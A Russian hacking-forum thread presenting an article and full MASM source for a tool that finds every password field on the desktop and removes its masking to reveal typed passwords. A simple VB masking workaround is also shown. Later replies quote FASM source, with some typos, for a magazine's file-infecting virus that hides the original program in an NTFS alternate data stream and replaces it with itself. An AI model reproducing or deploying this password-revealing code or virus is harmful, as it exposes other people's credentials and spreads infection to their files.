• XSS.stack #1 – первый литературный журнал от юзеров форума

*** - Это Не Проблема :)

BUG(O)R

(L2) cache
Пользователь
Регистрация
06.05.2005
Сообщения
336
Решения
1
Реакции
0
Накануне я нашёл у себя скачанный сто лет назад небольшой исходничок на ассемблере, который вместо всеми не любимых символов "*" показывает человеческий текст. К сожалению, или к счастью, в исходнике небыло коментариев, один сплошной код, который был абсолютно не систематизирован. И мне стало безумно интересно докапаться до самой сути этой технологии. Как же всё-таки обойти эти звёздочки, как это делает OpenPass, чем мы хуже? :) Ну и подобная бредятина... которая к нашему делу не имеет отношения... В результате я доработал эту программу и у меня, скажем так, получился более "красивый" код.

Я выяснил не всё, поэтому эта статья не претендует на полноту, это всего-лишь мои доводы после нескольких часов исследования.

На самом деле таких прог куча и нужда в такой проге как таковой практически нулевая, но я наверное такой тормоз, что мне только сейчас захотелось исследовать принцип работы таких прог. Поэтому статья для такиз же тормозов как и я :) если кого обидел последним высказыванием, то уж извиняйте братья и сестры... :)

Итак, мы начинаем...

Кто программирует тот знает, что текстовое поле имеет свойство PasswordChar, и значит в зависимости от значения этого св-ва вы и имеете возможность видеть или не видеть всё, что находится в текстовом поле! Как правило для полей куда вводится пароль значение этого св-ва = *, для обычных полей оно пустое т.е. после компиляции равно 00.

Напишем небольшую программу, форма и текстовое поле со значением св-ва PasswordChar = *, скомпилируем и получаем:

1.jpg


В уже скомпилированной программе значение этого св-ва зашито, и если мы дизассемблируем программу, то в памяти сможем легко найти этот символ:

2.jpg


Значение по этому смещению равно "2A", в десятичном формате это "42", а 42 это и есть ascii код символа "*".

Кстати, если перебить эти два полубайта на "00", то собсно и всякие звёздочки пропадут сами собой, т.е. при вводе в это текстовое поле вы будете видеть нормальный текст:

3.jpg

>>>
4.jpg


Но нам этот вариант не подходит, нам надо видеть уже введённое значение(хотя в хозяйстве может пригодиться).

Как известно любой объект программы(кнопка, текстовое поле, скролбар, метка) имеет свой уникальный идентификатор - Handle, в народе - хендл! И когда запускается программа каждому объекту присваивается хендл и к хендлу приклепляются соответствующие св-ва объекта прошитые уже в самой программе(TEdit, TButton, TMaskEdit) . Соответственно любой объект и поле для ввода пароля будут отличаться друг от друга минимум одним св-ом - PasswordChar. Вот его-то нам с вами и надо отловить из всей кучи объектов.

Приступаем к кодингу, хочу сказать, что код будет на языке ассемблера, поэтому использовать мы будем одни апи:

Нам надо подумать сначала как же нам получить весь массив объектов для перебора и сравнения каждого объекта по определяющему типу(поле для ввода пароля). Есть такая функция: EnumChildWindows, которая перечисляет все дочерние окна принадлежащие родительскому окну и передаёт дескриптор(хендл) дочернего окна в процедуру обратного вызова(по сути в любую указанную процедуру). Фу мля... помойму я сложно сформулировал, но ничего, по ходу вы всё поймёте!

Что ж, теперь стоит вопрос где найти такое родительское окно, чтобы абсолютно все объекты являлись его дочерними окнами, т.е. объектами создаными после него и имеющие меньший приоритет. Конечно выход один: делать родительским окном наш рабочий стол! Что ж, получим хендл рабочего стола в спомощью функции GetDesktopWindow

На данный момент нашей процедуре был передан хендл объекта, теперь она должна определить не является ли этот объект полем для ввода пароля. Как это сделать? Это собственно и есть самый трудный этап.

Давайте уже непосредственно перейдём к коду, так думаю будет проще и мне и вам:

Код:
(1) main proc hWin:DWORD

(2) invoke GetDesktopWindow
(3) invoke EnumChildWindows,eax,addr EnumKids,hWin 
(4) xor eax,eax
(5) ret

(6) main endp

1. Определяем процедуру и значение hWin как 32 разряда т.е. 4 байта.

2. Вызываем функцию которая и возвратит нам хендл рабочего стола, нашего родительского окна, от которого мы и начнём перебор объектов.

3. Вот это и есть главная функция, которая будет перебирать все дочерние окна относительно десктопа и передавать хендл каждого из них на сравнение процедуре EnumKids, её мы рассмотрим позже.

4. Обнуляет регистр eax

5. Возврат из процедуры

6. Конец процедуры.

Процедура EnumKids:

Код:
(1)EnumKids proc eHandle:DWORD

(2)invoke GetWindowLong,eHandle,GWL_STYLE 


(3).if (eax & ES_PASSWORD) 


(4)invoke SendMessage,eHandle, EM_SETPASSWORDCHAR, 0, 0 
(5)invoke SendMessage,eHandle,WM_SETFONT,eax, 0

(6).endif 
(7)mov eax,eHandle 
(8)ret


(9)EnumKids endp

1. Определяем процедуру и в ней один параметр, 4 байта.

2. Функция которая и получает стиль или тип нашего объекта, возваращает характерную для нашего окна информацию.

3. Вот эта строка будет возвращать два значения, а точнее знака: + и -. В случае если будет возвращён +,т.е. шестой бит в регистре eax равен 0, то программа сделает скачек на строчку 7, это будет означать, что наш объект не будет являться полем со звёздочками, в случае если будет возвращён -, т.е. шестой бит в регистре будет равен 1(тут с этими битами я сам запутался, но это не суть важно :) ), то объект будет являться именно полем с паролем и будет выполнен код следующий за номерами: 4,5 и 6. Другими словами если стиль не ES_PASSWORD, то идём до строки семь, а если такой стиль принадлежит нашему объекту, то убиваем звёздочки.

4. Вы помните св-во PasswordChar? Помните, что у нас его значение равно символу "*"? Так вот эта строчка устанавливает значение св-ва PasswordChar у объекта с хендлом eHandle равное нулю, т.е. попросту говоря мы убиваем это св-во.

5. Ну и собсно эта функция и выводит результат в объект с хендлом eHandle текст который и был под свёздочками.

6. Конец условного оператора

7. Возвращает хендл, чтобы продолжать перечислять окно.

8. После команды ret мы опять прыгнем на строчку:

Код:
invoke EnumChildWindows,eax,addr EnumKids,hWin

Определим следующий хендл и процедура EnumKids повторится!!!

И так будет пока не будут перечислены все дочерние окна и объекты. Потом будет выполнена ret в процедуре main и мы вернёмся в главную процедуру.

Вот как это выглядит в отладчике:

Но для начала я определил хендл текстового поля в нашей небольшой программе:

6.jpg


Handle: 0x0144

Теперь смотрите как это выглядит в отладчике:

Картинка тут

Видите в строке выделенной серым цветом(это команда на которой остановился отладчик после того как программа дошла до хендла который определён нашему тектовому полю со звёздочками) слово hWnd, оно равно 003A0144, три последние цифры совпадают с определённым нами хендлом, значит программа дошла до нашего текстового поля со звёздочками. Далее, в скобочках, отладчик показывает св-ва этого поля.И его класс: ThunderRT6TextBox. Если бы программа была написана на делфи, класс был бы определён как TMaskEdit.

По-сути наша программа использует всего 5 апи функций, ну и ещё 5 строчек полезного кода. Я попытался реализовать это на Visual Basic'e, получился, как это нестранно, гораздо сложночитаемый код, поэтому я решил всё-таки описать программу на ассемблере.

Ну и плюс ко всему прочему размеры готовых ехе программ на ассемблере и VB: 1536 и 16358 байт соответственно.

Я думаю, что многие что-то здесь поняли не до конца или не поняли вообще. Возможно я плохой писатель, а возможно вам стоит ещё немного поднатаскаться в этой области! В любом случае задавайте свои вопросы, я постараюсь ответить, материал действительно довольно сложный, мне самому понадобилось много времени чтобы понять всё до конца.

На самом деле данная технология уже не совсем актуальна, и серьёзные программы не используют такую технологию, но всё-таки такого софта полно.

Например миранда, использует как раз метод защиты который был описан мною ниже(в случае если пароль не хранится на винте), но если пароль уже введён, а кнопка OK не нажата, ну вдруг ваш друган отлить отошёл прежде чем нажать на ОК, а пароль уже ввёл... =), пароль можно узнать используя отладчик, если кому интересно, то эта тема отдельной статьи... =)

Теперь полный листинг кода программы:

Код:
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

;Всякая хрень

.486;Использовать набор команд процессора х486
.model flat, stdcall;Плоская модель памяти
option casemap :none;Делаем метки чуствительными к регистру



include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\oleaut32.inc


includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\oleaut32.lib
;Хрень кончилась :)
;<<<<<<<<<<<<<<<<<<<<<< 

;Объявляем прототипы функций
EnumKids PROTO :DWORD
main PROTO :DWORD
;<<<<<<<<<<<<<<<<<<<<<< 
.data

.code
;<<<<<<<<<<<<<<<<<<<<<<
Start:


call main;Вызываем процедуру main
invoke ExitProcess,0;После того как в процедуре main выполнилась команда RET выходим.

;<<<<<<<<<<<<<<<<<<<<<<

main proc hWin:DWORD

invoke GetDesktopWindow
invoke EnumChildWindows,eax,addr EnumKids,hWin 
xor eax,eax
ret

main endp

;<<<<<<<<<<<<<<<<<<<<<<


EnumKids proc eHandle:DWORD

invoke GetWindowLong,eHandle,GWL_STYLE

.if (eax & ES_PASSWORD)

invoke SendMessage,eHandle, EM_SETPASSWORDCHAR, 0, 0 
invoke SendMessage,eHandle,WM_SETFONT,eax, 0
.endif 
mov eax,eHandle 
ret

EnumKids endp

;<<<<<<<<<<<<<<<<<<<<<<

end Start

Конечно нельзя обойти стороной метод защиты от такого рода программ. Т.к. я из языков высокого уровня хорошо знаю VB, то и реализовывать буду на этом языке, хотя этот метод с лёгкостью можно использовать и в других языках!

Метод немножко ламовский, но зато работает :) Я просто отлавливаю символы нажатые в первом текстовом поле(которое доступно пользователю) во второе текстовое поле(которое можно сделать невидимым, отключить и вообще вынести за пределы формы, ну кароче спрятать).

Я сделал это так(проверка на значение 8 идёт потому как 8 - это аски код кнопки BackSpace, соттветственно нам его писать ненадо, он должен выполнять назначеную ему функцию):

Код:
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii <> 8 Then
Text2 = Text2 & Chr(KeyAscii)
Text1 = Text1 & "*"
KeyAscii = 0
Else
On Error Resume Next
Text2.Text = Mid(Text2.Text, 1, Len(Text2.Text) - 1)
Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1)
End If
End Sub

Скачать снифер: сЦылка

Скачать не защищённую программу: сЦылка
Скачать программу с защитой: сЦылка

При написании статьи были использованы следующие инструменты:

OllyDBG, HiewDemo, The Customizer, MASM & MS VB 6.0 =)

Оригинал: http://www.k0dery.h15.ru/simbol42/simbol42.htm
 
Спасибо! Правда нехватило сил дочитать доконца, спать уже охота!
Я вот по таким статьям схватываю быстрее, чем по книгам :D
Пиши есчо!
 
Horrible
Ну спасибо хоть читать начал... :) Что тебя ещё интересует? Хоть одному челу интересно, эт оуже радует...

Я вообще не понимаю если честно, написал вам хорошую статью, пусть она неоригинально, но в ней очень хорошо отражена работа с хендлами, это есть суть всего... на этом основываются некоторые методы защиты ПО(правда это они давно уже ненадёжны, но новичка отпугивают), методы обхода фаерволов и антивирусов. Если переделать немного данный сорц, то можно сделать так чтоб становились активными любые неактивные кнопки, разделы меню, ссылки и т.д. Тут можно кучу всего напридумывать!
Вот апи SendMessage, если немного передалть:
Код:
invoke SendMessage,HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2
Мы получили программу для выключения моника, и это всего одна строчка!

Не знаю конечно... Но вот таже статья "Как был взломан Designforum.ru ", которую честно говоря я бы вообще удалил, потому что мало того, что там нет ничего интересного, так она ещё и стара как мир. А здесь я вас пытаюсь научить реально кодить, а вы так безраличны... не тем путём идёте...
 
Ну спасибо хоть читать начал...
без двадцати двенадцать было, глаза закрывались уже.

Статья то что надо!
Что меня интересует? Примеры программирования на асме! Любые чтобы объяснялось так как ты в этой статье объяснил. Ато нелюблю я сухую теорию :D
Например вот в хакере начали цикл статей про ассемблер. В первой статье объяснялись простые комманды типа mov и add. А вот во второй уже был пример инжектирования своего кода в ntfs-поток другого процесса. И в примере кода на асме я по комментариям ничерта непонял :( (а по их задумкам должно быть все просто)
Вот например самое начало кода (компилятор FASM):

;удаляем временной файл
push godown
call [deletefile]

Я вот непонимаю, а где filename который передается функции deletefile?
Дальше идет так:

;Определяем наше имя
push1000
push buf
push 0
call [Getmodulefilename]


Или вот ещё такой код:
;Выводим диагностическое сообщение
push 0
push aInfected
push aHello
push 0
call [MessageBox]

Я понял что заголовок и текст messagebox'а содержатся тут (даже незнаю как назвать, этоже не переменные?):
aInfected db "Файл успешно заражён", 0
aHellodb "Ты запустил зараженный файл! Ха-Ха.", 0

Вот только непонял по какому принципу они передаются фун-ции messagebox, точнее для чего предназначена комманда push.

Пиши статьи с примерами написания прог на асме, любыми, главное объясняй понятно (эта статья просто супер получилась).
 
Horrible
Скинь полный сорцы мне в приват или здесь ссылку дай! FASM говорят дейтсительно хороший компилятор, более логичный синтаксис чем у MASM, но он слишком молод, поэтому я лично против его использования!
Вообще как-то они странно, месяц назад люди только выучили ADD, а теперь уже они встраивают свой код в память процесса.... чё-то я не улавливаю их логики!
Теперь отвечаю на вопросы:

1. Download book of Peter Abel "IBM PC ASSEMBLER LANGUAGE AND PROGRAMMING" Качай обязательно, без неё никуда! И глянь вот здесь литературу: asm.shadrinsk.net

2. ;удаляем временной файл
push godown
call [deletefile]

Я вот непонимаю, а где filename который передается функции deletefile?
Он в стеке, и равен он значению переменной "godown"
Тут вообще видешь как сделано, тут идёт вызов процедуры.

Или вот ещё такой код:
;Выводим диагностическое сообщение
push 0
push aInfected
push aHello
push 0
call [MessageBox]

Я понял что заголовок и текст messagebox'а содержатся тут (даже незнаю как назвать, этоже не переменные?):
aInfected db "Файл успешно заражён", 0
aHello db "Ты запустил зараженный файл! Ха-Ха.", 0

Да, это переменные, определённые как db - один байт т.е. каждый символ закодирован в одном байте.
Ну это понимаешь, синтаксис такой, оно так есть и будет, сначала в стек ложится 0, потом заголовок и потом текст и идёт вызов процедуры.
Можно сделать это с помощью апи:
Код:
invoke MessageBox, NULL, addr aHello, addr aInfected, MB_OK
 
Полный исходник недам, ибо h1nt гад забыл положить на второй диск всю папку magazin, т.е. он практически пустой и сорсов там тоже нет, а с журнала переписывать долго.

Во пример с api мне куда понятней :)

А вот насчет push:
Я правильно понял, если фун-ции мессаджбокс нужно передать четыре "параметра", то при вызове call [messagebox] ему передадутся четыре последних переменных, прописанных через push?

Вот например код:
file db "C:\test.txt", 0
push file
call [deletefile]
Удалит C:\test.txt?

А так нельзя:
push "C:\test.txt", 0
call [deletefile]
?

Кстати рубрику по асме в хакере ведет Крис Касперски.
 
<tp полного сорцы я тебе не смогу дать нормальных советов!

1. Смотря , что в процедуре deletefile, если одного параметра file достаточно, то да, программа сработает как надо.

2. Во твором случае нет, программа не сработает (если процедура такая же как и в первом случае)т.к. при вызове процедуры её неоткуда будет считывать параметры.

Крис? О, ну этот крут конечно =) Над разориться будет на журнальчик!
 
т.е. Push указывает на переменную откуда брать параметры?
Кстати в ассемблере регистр имеет значение? Ато меня в сях раздражает, что abc и ABC разные переменные.

Ты извини что я тебя такими вопросами терроризирую. Просто интересно, а за книгу взяться так руки и недоходят :D
 
Push ложит значение в стек:
Push 123
Pop 123
А pop забирает значение.
Лучше почитай про стек :)

В принципе нет, но есть одна фишка:
option casemap :none
Которая делает МЕТКИ чуствительными к регистру.
 
Вот код проги, о которой писали в хакере:
Код:
sectoin '.code' code readable executable
start:

push godown
call [DeleteFile]

push 1000
push buf
push 0
call [GetModuleFileName]

call [GetCommandLine]
mov ebp, eax

xor ebx, ebx
mov ecx, 202A2D2Dh;

rool:
cmp [eax], ecx
jz infect
inc eax
cmp [eax], ebx
jnz rool

push 0
push aInfected
push aHello
push 0
call [MessageBox]

mov esi, code_name
mov edi, buf
mov ecx, 100; code_name_end - code_name
xor eax, eax
repne scasb
dec edi
rep movsp

push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit

infect:
add eax, 4
xchg eax, ebp

xor eax, eax
inc eax
push godown
push ebp
call [RenameFile]

push eax
push ebp
push buf
call [CopyFile]

mov esi, ebp
mov edi, buf
copy_rool
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2

push eax
push buf
push godown
call [CopyFile]

push godown
call [DeleteFile]

push 0
push aInfected
push ebp
push 0
call [MessegeBox]

go2exit:
push 0
call [ExitProcess]

section '.data' data readable writeable
godown db "godown",0
code_name db ":eatmeout",0
code_name_end

aInfected db "Файл успешно зарашен",0
aHello db "Code by AKella[ake11a@inbox.ru]",0

buf rb 1000

Они конечно загнали: вторую статью после первой очень тяжело понять :(
надо было постипенно как-то, а не так как они: сегодня mov, завтра - вирусы.
Ассамблер - вещь очень интересная, но самому его тяжело понять. Нужна помощь.
 
но самому его тяжело понять
Просто чтоб на нем кодить надо немного поучить как сам комп устроен.И все станет на свои места.А помощь везде требуется :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх